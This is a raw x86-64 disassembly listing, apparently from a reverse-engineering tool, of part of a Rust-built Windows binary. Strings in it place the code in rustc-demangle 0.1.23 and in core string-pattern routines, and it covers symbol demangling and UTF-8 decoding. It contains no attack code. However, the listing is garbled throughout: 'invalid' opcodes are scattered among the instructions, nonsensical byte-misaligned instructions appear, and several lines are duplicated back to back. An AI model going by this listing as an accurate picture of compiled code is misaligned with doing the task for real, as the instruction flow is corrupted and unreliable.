jb 0x1400cd4f1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cd4f1
mov r8d, 2
mov rdx, rdi
call fcn.140013600
test al, al
jne 0x1400cd477
mov rcx, rsi
call case.0x1400aa870.134
test al, al
jne 0x1400cd477
mov rax, qword [rsi]
test rax, rax
jne 0x1400cd4c0
xor eax, eax
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cd54c
lea rdx, [0x14014a1c8]
mov r8d, 1
call fcn.140013600
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400cd6d9
mov rax, qword [rsi]
test rax, rax
jne 0x1400cd551
jmp 0x1400cd56d
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x1400cd514
test rax, rax
je 0x1400cd56d
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x1400cd56d
cmp byte [rax + rcx], 0x75
jne 0x1400cd56d
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x1400cd6d7
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cd594
lea rdx, [0x140140fa5]
mov r8d, 4
call fcn.140013600
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400cd6d9
mov rcx, rsi
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp case.0x1400aa870.134
xor eax, eax
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [r9 + r11]
cmp rcx, rdx
jae 0x1400cd9d8
mov r12, qword [rbp - 8]
mov r13, qword [rbp - 0x20]
mov r10, qword [rbp - 0x10]
invalid
mov rsi, rax
mov qword [rbp + 0x40], r10
sub rsi, r10
mov qword [rbp + 0x48], rsi
jmp 0x1400cd803
invalid
add r9, rax
xor r15d, r15d
lea rcx, [r9 + r11]
cmp rcx, rdx
jae 0x1400cd9d8
movzx ecx, byte [r8 + rcx]
bt r12, rcx
jae 0x1400cd7f0
cmp r13, r15
mov rdi, r15
cmova rdi, r13
lea r10, [r8 + r9]
or byte [rax - 0x77], cl
stc
or byte [rax - 0x77], cl
stc
nop
cmp rcx, rax
jae 0x1400cd850
mov rsi, rcx
add rcx, r9
cmp rcx, rdx
jae 0x1400ce08f
lea rcx, [rsi + 1]
movzx r14d, byte [rbx + rsi]
movzx esi, byte [rbx + rsi]
movzx esi, byte [rbx + rsi]
cmp r14b, byte [r10 + rsi]
je 0x1400cd820
sub r9, r13
add r9, rsi
inc r9
jmp 0x1400cd7f3
mov rcx, r13
nop word cs:[rax + rax]
cmp r15, rcx
jae 0x1400ce10e
or byte [rax], al
invalid
or byte [rax], al
add byte [rax - 1], cl
leave
dec rcx
cmp rcx, rax
jae 0x1400ce261
lea r10, [rcx + r9]
cmp r10, rdx
jae 0x1400ce0a8
movzx esi, byte [rbx + rcx]
cmp sil, byte [r8 + r10]
or eax, dword [rbx + 0x3a]
xor al, 0x10
je 0x1400cd860
add r9, qword [rbp + 0x40]
mov r15, qword [rbp + 0x48]
lea rcx, [r9 + r11]
cmp rcx, rdx
jb 0x1400cd803
jmp 0x1400cd9d8
add dword [rax], eax
add byte [rax - 0x73], cl
pop rbp
mov al, 0x4c
lea edi, [rbp - 0x28]
nop
mov rcx, rbx
mov rdx, r15
call fcn.1400cc1b0
mov rax, qword [rbp - 0x50]
cmp rax, 1
clc
invalid
je 0x1400cd8b0
clc
add dword [rbx + rbp*8 + 0x48], esi
test eax, eax
test rax, rax
jne 0x1400cd9e0
mov r9, qword [rbp - 0x48]
mov r8, r9
add r8, 6
jne 0x1400ce11f
jmp 0x1400ce13a
jrcxz 0x1400cd8f3
add byte [rax], al
mov rdi, qword [rbp - 8]
jge 0x1400cd8f1
mov r12, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x10]
mov qword [rbp + 0x40], rcx
lea rcx, [r12 - 1]
lea r13, [rbx + r12]
dec r13
mov qword [rbp + 0x48], rcx
jmp 0x1400cd930
add r9, rax
lea r10, [r9 + r11]
cmp r10, rdx
jae 0x1400cd9d8
movzx r10d, byte [r8 + r10]
bt rdi, r10
jae 0x1400cd920
lea r10, [r8 + r9]
mov rsi, r12
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax + 0x39], cl
invalid
cmp rsi, rax
jae 0x1400cd97e
mov r15, rsi
add rsi, r9
cmp rsi, rdx
jae 0x1400ce0b7
lea rsi, [r15 + 1]
movzx r14d, byte [rbx + r15]
cmp r14b, byte [r10 + r15]
je 0x1400cd950
sub r9, r12
add r9, r15
inc r9
jmp 0x1400cd923
cmp rcx, rax
jae 0x1400ce105
lea r10, [rcx + r9]
mov rcx, r13
mov r15, r12
nop word cs:[rax + rax]
sub r15, 1
jb 0x1400ce10e
cmp r10, rdx
jae 0x1400ce0a8
movzx esi, byte [r13]
dec r13
lea r14, [r10 - 1]
cmp sil, byte [r8 + r10]
mov r10, r14
je 0x1400cd9a0
add r9, qword [rbp + 0x40]
mov r13, rcx
mov rcx, qword [rbp + 0x48]
jmp 0x1400cd923
mov r13, qword [rbp + 0x50]
mov rsi, qword [rbp - 0x30]
cmp rsi, 3
jae 0x1400cda1d
mov r12d, 2
cmp rsi, 2
jne 0x1400ce226
movzx eax, word [r13]
cmp eax, 0x4e5a
jne 0x1400cdc0b
mov r15, 0xfffffffffffffffe
mov ebx, 2
mov r8d, 2
jmp 0x1400cdaa7
movzx eax, word [r13]
xor eax, 0x5a5f
movzx ecx, byte [r13 + 2]
xor ecx, 0x4e
or cx, ax
je 0x1400cda65
movzx eax, word [r13]
cmp eax, 0x4e5a
je 0x1400cda7f
mov ebx, 3
cmp rsi, 3
je 0x1400cdba0
cmp dword [r13], 0x4e5a5f5f
je 0x1400cdb3a
mov rbx, rsi
jmp 0x1400cdba0
mov r15, 0xfffffffffffffffd
mov r8d, 3
cmp rsi, 3
jne 0x1400cda99
mov ebx, 3
jmp 0x1400cdaa7
cmp byte [r13 + 2], 0xbf
jle 0x1400ce2d8
mov r15, 0xfffffffffffffffe
mov r8d, 2
jmp 0x1400cdaa4
cmp byte [r13 + 3], 0xbf
jle 0x1400ce2f8
mov rbx, rsi
add r8, r13
add r15, rbx
lea r9, [r8 + r15]
xor eax, eax
nop word cs:[rax + rax]
cmp r15, rax
je 0x1400cdad5
cmp byte [r8 + rax], 0
lea rax, [rax + 1]
jns 0x1400cdac0
jmp 0x1400cdb9a
test r15, r15
je 0x1400cdb9a
movzx ecx, byte [r8]
movzx edx, cl
test dl, dl
js 0x1400cdaf2
lea rcx, [r8 + 1]
jmp 0x1400cdb85
mov eax, edx
and eax, 0x1f
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x1400cdb64
movzx edx, byte [r8 + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp cl, 0xf0
jb 0x1400cdb7c
lea rcx, [r8 + 4]
movzx r10d, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and r10d, 0x3f
or r10d, edx
or r10d, eax
mov edx, r10d
jmp 0x1400cdb85
mov r15, 0xfffffffffffffffc
mov r8d, 4
cmp rsi, 5
jb 0x1400cdb72
cmp byte [r13 + 4], 0xbf
jg 0x1400cdaa4
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1400ce2ff
lea rcx, [r8 + 2]
shl eax, 6
or eax, r10d
mov edx, eax
jmp 0x1400cdb85
mov ebx, 4
jmp 0x1400cdaa7
lea rcx, [r8 + 3]
shl eax, 0xc
or edx, eax
cmp edx, 0x45
je 0x1400cddb2
cmp edx, 0x110000
jne 0x1400cddc8
cmp rbx, 3
jb 0x1400cdc0b
movzx eax, word [r13]
cmp eax, 0x525f
je 0x1400cdc4a
cmp byte [r13], 0x52
je 0x1400cdc21
mov r12d, 2
cmp rbx, 3
je 0x1400ce226
movzx eax, word [r13]
xor eax, 0x5f5f
movzx ecx, byte [r13 + 2]
xor ecx, 0x52
or cx, ax
jne 0x1400ce226
movzx eax, byte [r13 + 3]
cmp al, 0xbf
jle 0x1400ce312
lea r15, [r13 + 3]
mov r14, 0xfffffffffffffffd
add al, 0xbf
mov r12d, 2
cmp al, 0x19
jbe 0x1400cdc72
jmp 0x1400ce226
mov ebx, 2
cmp byte [r13], 0x52
mov r12d, 2
jne 0x1400ce226
movzx eax, byte [r13 + 1]
cmp al, 0xbf
jle 0x1400ce270
lea r15, [r13 + 1]
mov r14, 0xffffffffffffffff
add al, 0xbf
mov r12d, 2
cmp al, 0x19
jbe 0x1400cdc72
jmp 0x1400ce226
movzx eax, byte [r13 + 2]
cmp al, 0xbf
jle 0x1400ce290
lea r15, [r13 + 2]
mov r14, 0xfffffffffffffffe
add al, 0xbf
mov r12d, 2
cmp al, 0x19
ja 0x1400ce226
add r14, rbx
xor eax, eax
nop word [rax + rax]
cmp r14, rax
je 0x1400cdc95
cmp byte [r15 + rax], 0
lea rax, [rax + 1]
jns 0x1400cdc80
jmp 0x1400ce226
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov dword [rbp], 0
lea rcx, [rbp - 0x28]
xor edx, edx
call fcn.1400c8880
test al, al
jne 0x1400ce2b0
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400ce226
movzx eax, byte [rbp - 0x20]
movzx edx, byte [rbp - 0x19]
shl edx, 0x10
movzx r8d, word [rbp - 0x1b]
or r8d, edx
shl r8, 0x20
mov r9d, dword [rbp - 0x1f]
or r9, r8
mov r8, qword [rbp - 0x18]
shl r9, 8
or r9, rax
cmp r8, r9
jae 0x1400cdd81
movzx eax, byte [rcx + r8]
add al, 0xbf
cmp al, 0x1a
jae 0x1400cdd81
movsd xmm0, qword [rbp - 0x10]
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], r9
mov qword [rbp - 0x18], r8
movlps qword [rbp - 0x10], xmm0
mov qword [rbp - 8], 0
mov dword [rbp], 0
lea rcx, [rbp - 0x28]
xor edx, edx
call fcn.1400c8880
test al, al
jne 0x1400ce2b0
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400ce226
movzx eax, byte [rbp - 0x20]
movzx edx, byte [rbp - 0x19]
shl edx, 0x10
movzx r8d, word [rbp - 0x1b]
or r8d, edx
shl r8, 0x20
mov r9d, dword [rbp - 0x1f]
or r9, r8
mov r8, qword [rbp - 0x18]
shl r9, 8
or r9, rax
test r8, r8
je 0x1400cdf51
cmp r9, r8
jbe 0x1400cdf4b
cmp byte [rcx + r8], 0xbf
jg 0x1400cdf51
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rdx, r9
call fcn.140104b90
xor r14d, r14d
sub r9, rcx
test r9, r9
jne 0x1400cdf63
xor edx, edx
jmp 0x1400ce0da
xor r14d, r14d
mov r10d, 0xa
lea eax, [rdx - 0x30]
cmp eax, 9
ja 0x1400cdb9a
xor eax, eax
jmp 0x1400cddf0
inc rcx
cmp edx, 0x110000
je 0x1400cdb9a
lea r11d, [rdx - 0x30]
cmp r11d, 0xa
jae 0x1400cde95
mul r10
jo 0x1400cdb9a
mov edx, r11d
add rax, rdx
jb 0x1400cdb9a
cmp rcx, r9
je 0x1400cdb9a
movzx edi, byte [rcx]
movzx edx, dil
test dl, dl
jns 0x1400cdde1
mov r11d, edx
and r11d, 0x1f
movzx r12d, byte [rcx + 1]
and r12d, 0x3f
cmp dl, 0xdf
jbe 0x1400cde72
movzx edx, byte [rcx + 2]
shl r12d, 6
and edx, 0x3f
or edx, r12d
cmp dil, 0xf0
jb 0x1400cde85
movzx esi, byte [rcx + 3]
add rcx, 4
and r11d, 7
shl r11d, 0x12
shl edx, 6
and esi, 0x3f
or esi, edx
or esi, r11d
mov edx, esi
jmp 0x1400cdde4
add rcx, 2
shl r11d, 6
or r11d, r12d
mov edx, r11d
jmp 0x1400cdde4
add rcx, 3
shl r11d, 0xc
or edx, r11d
jmp 0x1400cdde4
test rax, rax
jne 0x1400cdeb3
inc r14
cmp edx, 0x45
jne 0x1400cddd1
jmp 0x1400cddb5
inc rcx
dec rax
je 0x1400cde9a
cmp rcx, r9
je 0x1400cdb9a
movzx r12d, byte [rcx]
movzx edx, r12b
test dl, dl
jns 0x1400cdeab
mov rsi, r13
mov r11d, edx
and r11d, 0x1f
movzx r13d, byte [rcx + 1]
and r13d, 0x3f
cmp dl, 0xdf
jbe 0x1400cdf20
movzx edi, byte [rcx + 2]
shl r13d, 6
and edi, 0x3f
or edi, r13d
cmp r12b, 0xf0
jb 0x1400cdf36
movzx edx, byte [rcx + 3]
and r11d, 7
shl r11d, 0x12
shl edi, 6
and edx, 0x3f
or edx, edi
or edx, r11d
cmp edx, 0x110000
mov r13, rsi
je 0x1400cdb9a
add rcx, 4
jmp 0x1400cdeae
add rcx, 2
shl r11d, 6
or r11d, r13d
mov edx, r11d
mov r13, rsi
jmp 0x1400cdeae
add rcx, 3
shl r11d, 0xc
or edi, r11d
mov edx, edi
mov r13, rsi
jmp 0x1400cdeae
jne 0x1400cdd9e
add rcx, r8
sub r9, r8
xor r8d, r8d
test r9, r9
je 0x1400cddc1
mov r12d, 2
cmp byte [rcx], 0x2e
jne 0x1400ce226
mov qword [rbp + 0x50], r9
lea rax, [rcx + r9]
mov r11b, 0x2e
movabs rsi, 0x7e0000007f
mov r10, rcx
test r11b, r11b
jns 0x1400ce040
nop word cs:[rax + rax]
mov edx, r11d
and dl, 0x1f
movzx edi, dl
movzx edx, byte [r10 + 1]
and edx, 0x3f
cmp r11b, 0xdf
jbe 0x1400cdffe
mov r9, rbx
mov rbx, r13
movzx r13d, byte [r10 + 2]
shl edx, 6
and r13d, 0x3f
or r13d, edx
cmp r11b, 0xf0
jb 0x1400ce015
movzx r11d, byte [r10 + 3]
and edi, 7
shl edi, 0x12
shl r13d, 6
and r11d, 0x3f
or r11d, r13d
or r11d, edi
cmp r11d, 0x110000
je 0x1400ce0d0
add r10, 4
jmp 0x1400ce022
add r10, 2
shl edi, 6
or edi, edx
mov r11d, edi
lea edx, [r11 - 0x21]
cmp edx, 0x19
jae 0x1400ce050
jmp 0x1400ce06d
add r10, 3
shl edi, 0xc
or r13d, edi
mov r11d, r13d
mov r13, rbx
mov rbx, r9
lea edx, [r11 - 0x21]
cmp edx, 0x19
jae 0x1400ce050
jmp 0x1400ce06d
inc r10
movzx r11d, r11b
lea edx, [r11 - 0x21]
cmp edx, 0x19
jb 0x1400ce06d
mov edx, r11d
and edx, 0xffffffdf
add edx, 0xffffffbf
cmp edx, 0x1a
jb 0x1400ce06d
lea edx, [r11 - 0x3a]
cmp edx, 0x26
ja 0x1400ce080
bt rsi, rdx
jae 0x1400ce080
cmp r10, rax
je 0x1400ce0d6
movzx r11d, byte [r10]
test r11b, r11b
jns 0x1400ce040
jmp 0x1400cdfa0
add r11d, 0xffffff81
cmp r11d, 0xfffffffc
jae 0x1400ce06d
jmp 0x1400ce226
add rdi, r9
cmp rdx, rdi
cmova rdi, rdx
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_strpattern.rs
mov rcx, rdi
call fcn.140104670
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_strpattern.rs
mov rcx, r10
call fcn.140104670
add r9, r12
cmp rdx, r9
cmova r9, rdx
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_strpattern.rs
mov rcx, r9
call fcn.140104670
mov r13, rbx
mov rbx, r9
mov rdx, qword [rbp + 0x50]
mov rax, qword [rbp - 0x38]
mov qword [rax + 8], r8
mov qword [rax + 0x10], r15
mov dword [rax + 0x10], edi
mov dword [rax + 0x10], edi
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], rbx
mov qword [rax + 0x30], rcx
mov qword [rax + 0x38], rdx
mov r12d, 1
jmp 0x1400ce226
test r12, r12
jne 0x1400ce261
mov r13, qword [rbp + 0x50]
mov rsi, qword [rbp - 0x30]
mov r8, r9
add r8, 6
je 0x1400ce13a
cmp r8, rsi
jae 0x1400ce138
cmp byte [r13 + r8], 0xbf
jg 0x1400ce13a
lea rax, [0x140141010]
jmp 0x1400ce2ff
jne 0x1400ce12c
add r8, r13
lea rax, [rsi + r13]
jmp 0x1400ce16c
add r8, 2
shl edx, 6
or edx, edi
mov ecx, edx
lea edx, [rcx - 0x40]
cmp edx, 7
jb 0x1400ce16c
nop word cs:[rax + rax]
add ecx, 0xffffffd0
cmp ecx, 0xa
jae 0x1400cd9e0
cmp r8, rax
je 0x1400ce206
movzx r11d, byte [r8]
movzx ecx, r11b
test cl, cl
js 0x1400ce190
inc r8
lea edx, [rcx - 0x40]
cmp edx, 7
jae 0x1400ce160
jmp 0x1400ce16c
mov edx, ecx
and edx, 0x1f
movzx edi, byte [r8 + 1]
and edi, 0x3f
cmp cl, 0xdf
jbe 0x1400ce143
movzx r10d, byte [r8 + 2]
shl edi, 6
and r10d, 0x3f
or r10d, edi
cmp r11b, 0xf0
jb 0x1400ce1e8
movzx ecx, byte [r8 + 3]
and edx, 7
shl edx, 0x12
shl r10d, 6
and ecx, 0x3f
or ecx, r10d
or ecx, edx
cmp ecx, 0x110000
je 0x1400ce206
add r8, 4
lea edx, [rcx - 0x40]
cmp edx, 7
jae 0x1400ce160
jmp 0x1400ce16c
add r8, 3
shl edx, 0xc
or r10d, edx
mov ecx, r10d
lea edx, [rcx - 0x40]
cmp edx, 7
jae 0x1400ce160
jmp 0x1400ce16c
test r9, r9
je 0x1400ce220
cmp r9, rsi
jae 0x1400ce241
cmp byte [r13 + r9], 0xbf
jle 0x1400ce247
mov rsi, r9
jmp 0x1400cd9e0
mov r12d, 2
mov rax, qword [rbp - 0x38]
mov qword [rax], r12
add rsp, 0xd8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
je 0x1400cd9e0
lea rax, [0x140141028]
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, rsi
xor r8d, r8d
call fcn.140104b90
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_strpattern.rs
mov rdx, rax
call fcn.140104670
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r13
mov rdx, rbx
mov r9, rbx
call fcn.140104b90
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
mov rcx, r13
mov rdx, rbx
mov r9, rbx
call fcn.140104b90
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x140140948]
lea r8, [rbp - 0x50]
mov edx, 0x3d
call fcn.1401049b0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
mov rcx, r13
mov rdx, rsi
mov r9, rsi
mov r9, rsi
call fcn.140104b90
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, rsi
mov r9, rsi
mov r9, rsi
call fcn.140104b90
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8d, 3
mov rcx, r13
mov ecx, ebp
mov ecx, ebp
mov rdx, rbx
mov r9, rbx
call fcn.140104b90
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov r12, rdx
invalid
mov rax, qword [rcx]
mov rbx, qword [rax]
test rbx, rbx
je 0x1400ceddb
invalid
mov rcx, qword [rax + 8]
mov qword [rbp + 0x18], rcx
mov rax, qword [rax + 0x10]
xor ecx, ecx
mov qword [rbp + 0x20], r12
mov qword [rbp], rax
jmp 0x1400ce3bb
mov r12, qword [rbp + 0x20]
mov rcx, qword [r12 + 0x20]
mov ecx, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x20]
mov rax, qword [r12 + 0x28]
mov rdx, r15
mov r8, r14
call qword [rax + 0x18]
test al, al
mov r15d, dword [rbp + 0xc]
mov rax, qword [rbp]
mov rcx, qword [rbp - 8]
jne 0x1400cee10
cmp rcx, rax
setne r15b
je 0x1400cee10
cmp qword [rbp + 0x18], 0
je 0x1400cee42
lea rax, [rcx + 1]
mov qword [rbp - 8], rax
movzx edx, byte [rbx]
movzx eax, dl
mov r14, qword [rbp + 0x18]
lea r9, [r14 - 1]
xor r10d, r10d
mov r8d, edx
test r8b, r8b
jns 0x1400ce420
jmp 0x1400ce458
shl r11d, 0xc
or edi, r11d
or edi, ebx
or edi, ebx
mov esi, edi
lea r13, [rbx + r10]
add esi, 0xffffffd0
cmp esi, 9
jbe 0x1400ce434
jmp 0x1400ce4d0
movzx esi, r8b
movzx esi, al
lea r13, [rbx + r10]
add esi, 0xffffffd0
cmp esi, 9
ja 0x1400ce4d0
cmp r9, r10
je 0x1400cee42
movzx r8d, byte [rbx + r10 + 1]
cmp r8b, 0xbf
mov edi, 0xa2e8e0f
add byte [rax], al
mov edi, 0xa2e8e0f
add byte [rax], al
dec r14
inc r10
test r8b, r8b
jns 0x1400ce420
mov r11d, r8d
and r11b, 0x1f
movzx r11d, r11b
fild dword [rdx + 0xf]
mov dh, 0x74
adc eax, dword [rcx]
fild dword [rdx + 0xf]
mov dh, 0x74
adc eax, dword [rcx]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x1400ce4b0
movzx edi, byte [rbx + r10 + 2]
shl esi, 6
and edi, 0x3f
or edi, esi
cmp r8b, 0xf0
jb 0x1400ce400
movzx esi, byte [rbx + r10 + 3]
and r11d, 7
shl r11d, 0x12
shl edi, 6
invalid
and esi, 0x3f
or esi, edi
or esi, r11d
cmp esi, 0x110000
jne 0x1400ce4c0
invalid
jmp 0x1400cee42
shl r11d, 6
or r11d, esi
mov esi, r11d
mov esi, r11d
nop word [rax + rax]
lea r13, [rbx + r10]
add esi, 0xffffffd0
cmp esi, 9
jbe 0x1400ce434
mov r9, qword [rbp + 0x18]
sub r9, r14
sbb byte [r13 + 0x29], r9b
int1
je 0x1400ce4e4
cmp byte [rbx + r9], 0xbf
jle 0x1400cef25
cmp r9, 1
je 0x1400ce510
test r9, r9
je 0x1400cef1e
test byte [rbx], ch
or al, byte [rax]
invalid
test byte [rbx], ch
or al, byte [rax]
add byte [rax + 0x38752bfa], al
cmp dl, 0x2b
jne 0x1400ce530
inc rbx
lea rax, [r9 - 1]
cmp r9, 0x12
mov r9, rax
jb 0x1400ce540
jmp 0x1400ce580
nop word [rax + rax]
mov dl, 1
cmp eax, 0x2b
je 0x1400cee50
mov r9d, 1
cmp eax, 0x2d
jne 0x1400ce540
jmp 0x1400cee50
cmp r9, 0x11
jae 0x1400ce580
nop word cs:[rax + rax]
xor edx, edx
xor eax, eax
nop word cs:[rax + rax]
movzx r10d, byte [rbx + rdx]
add r10d, 0xffffffd0
cmp r10d, 9
ja 0x1400cee4e
xchg ebx, ebp
or byte [rax], al
invalid
xchg ebx, ebp
or byte [rax], al
add byte [rax - 0x73], cl
add al, 0x80
lea rax, [rax + rax*4]
mov r10d, r10d
lea rax, [r10 + rax*2]
inc rdx
cmp r9, rdx
jne 0x1400ce550
jmp 0x1400ce5c5
test byte [rax], al
add byte [rax], al
add byte [rax], al
xor r10d, r10d
xor eax, eax
nop word cs:[rax + rax]
movzx r11d, byte [rbx + r10]
add r11d, 0xffffffd0
mov edx, 0xa
mul rdx
jo 0x1400cee9b
cmp r11d, 0xa
jae 0x1400cee4e
mov edx, r11d
add rax, rdx
jb 0x1400ceea6
inc r10
cmp r9, r10
jne 0x1400ce590
test rax, rax
je 0x1400ce5e6
cmp r14, rax
jbe 0x1400ce5e0
cmp byte [r13 + rax], 0xbf
jg 0x1400ce5e6
jmp 0x1400ceec7
jne 0x1400ceec7
lea rbx, [rax + r13]
mov rdx, qword [rbp - 8]
cmp rdx, qword [rbp]
jne 0x1400ce720
mov edx, dword [r12 + 0x34]
and edx, 4
je 0x1400ce720
cmp r8b, 0x68
jne 0x1400ce720
test rax, rax
je 0x1400ce720
cmp rax, 1
je 0x1400ce62a
cmp byte [r13 + 1], 0xbf
jle 0x1400cef62
lea rdx, [r13 + 1]
jmp 0x1400ce662
add rdx, 2
shl r9d, 6
or r9d, esi
mov r8d, r9d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jb 0x1400ce662
nop dword [rax + rax]
or r8d, 0x20
add r8d, 0xffffff9f
cmp r8d, 6
jae 0x1400ce720
cmp rdx, rbx
je 0x1400cee0d
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400ce690
inc rdx
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce650
jmp 0x1400ce662
mov r9d, r8d
and r9d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x1400ce630
movzx r10d, byte [rdx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x1400ce6f8
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400cee0d
add rdx, 4
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce650
jmp 0x1400ce662
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jae 0x1400ce650
jmp 0x1400ce662
test rcx, rcx
je 0x1400ce750
mov rcx, qword [r12 + 0x20]
mov r9, qword [r12 + 0x28]
mov r8d, 2
lea rdx, [0x140140b38]
mov rsi, rax
call qword [r9 + 0x18]
mov ecx, eax
mov rax, rsi
test cl, cl
jne 0x1400cee10
cmp rax, 2
mov dword [rbp + 0xc], r15d
jb 0x1400ce76b
movzx ecx, word [r13]
cmp ecx, 0x245f
je 0x1400cedc4
mov rcx, rax
sub r14, rax
mov qword [rbp + 0x18], r14
mov r15, r13
mov r14, rcx
test rcx, rcx
je 0x1400ce7d0
movzx eax, byte [r15]
cmp eax, 0x24
je 0x1400ce8e0
cmp eax, 0x2e
jne 0x1400ce7d0
cmp r14, 1
jne 0x1400ce9d8
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 1
lea rdx, [0x1401463a1]
call qword [rax + 0x18]
test al, al
je 0x1400ceda3
jmp 0x1400cee3d
lea rax, [r15 + r14]
xor r8d, r8d
mov rcx, r15
jmp 0x1400ce802
lea r9, [rcx + 1]
cmp edx, 0x24
je 0x1400ce8b0
mov r8, rdi
sub r8, rcx
add r8, r9
mov rcx, r9
cmp edx, 0x2e
je 0x1400ce8b0
cmp rcx, rax
je 0x1400ce390
mov rdi, r8
movzx r9d, byte [rcx]
movzx edx, r9b
test dl, dl
jns 0x1400ce7e0
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1400ce879
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp r9b, 0xf0
jb 0x1400ce892
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r8d
cmp edx, 0x110000
je 0x1400ce390
lea r9, [rcx + 4]
cmp edx, 0x24
jne 0x1400ce7ed
jmp 0x1400ce8b0
lea r9, [rcx + 2]
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0x24
jne 0x1400ce7ed
jmp 0x1400ce8b0
lea r9, [rcx + 3]
shl r8d, 0xc
or r10d, r8d
mov edx, r10d
cmp edx, 0x24
jne 0x1400ce7ed
nop dword [rax]
test rdi, rdi
je 0x1400ce975
cmp r14, rdi
mov r12, qword [rbp + 0x20]
jbe 0x1400ce995
cmp byte [r15 + rdi], 0xbf
jg 0x1400ce99b
jmp 0x1400ceee4
cmp r14, 1
je 0x1400ce8f1
cmp byte [r15 + 1], 0xbf
jle 0x1400cef6b
lea rdi, [r15 + 1]
lea rax, [r14 - 1]
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], rax
mov byte [rbp - 0x10], 1
movabs rax, 0x2400000024
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x38]
call fcn.1400c8430
cmp qword [rbp - 0x50], 0
je 0x1400ce390
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xffffffffffffffff
je 0x1400cef40
lea r9, [rdx + 1]
cmp r14, 1
je 0x1400ce958
cmp byte [rdi], 0xc0
jl 0x1400ceeaa
cmp r9, r14
jae 0x1400cea3a
cmp byte [r15 + r9], 0xc0
jl 0x1400ceeaa
lea r13, [rdx + 2]
jmp 0x1400cea50
mov r12, qword [rbp + 0x20]
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov rdx, r15
xor r8d, r8d
call qword [rax + 0x18]
test al, al
je 0x1400ce9cd
jmp 0x1400cee3d
jne 0x1400ceee4
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov rdx, r15
mov r8, rdi
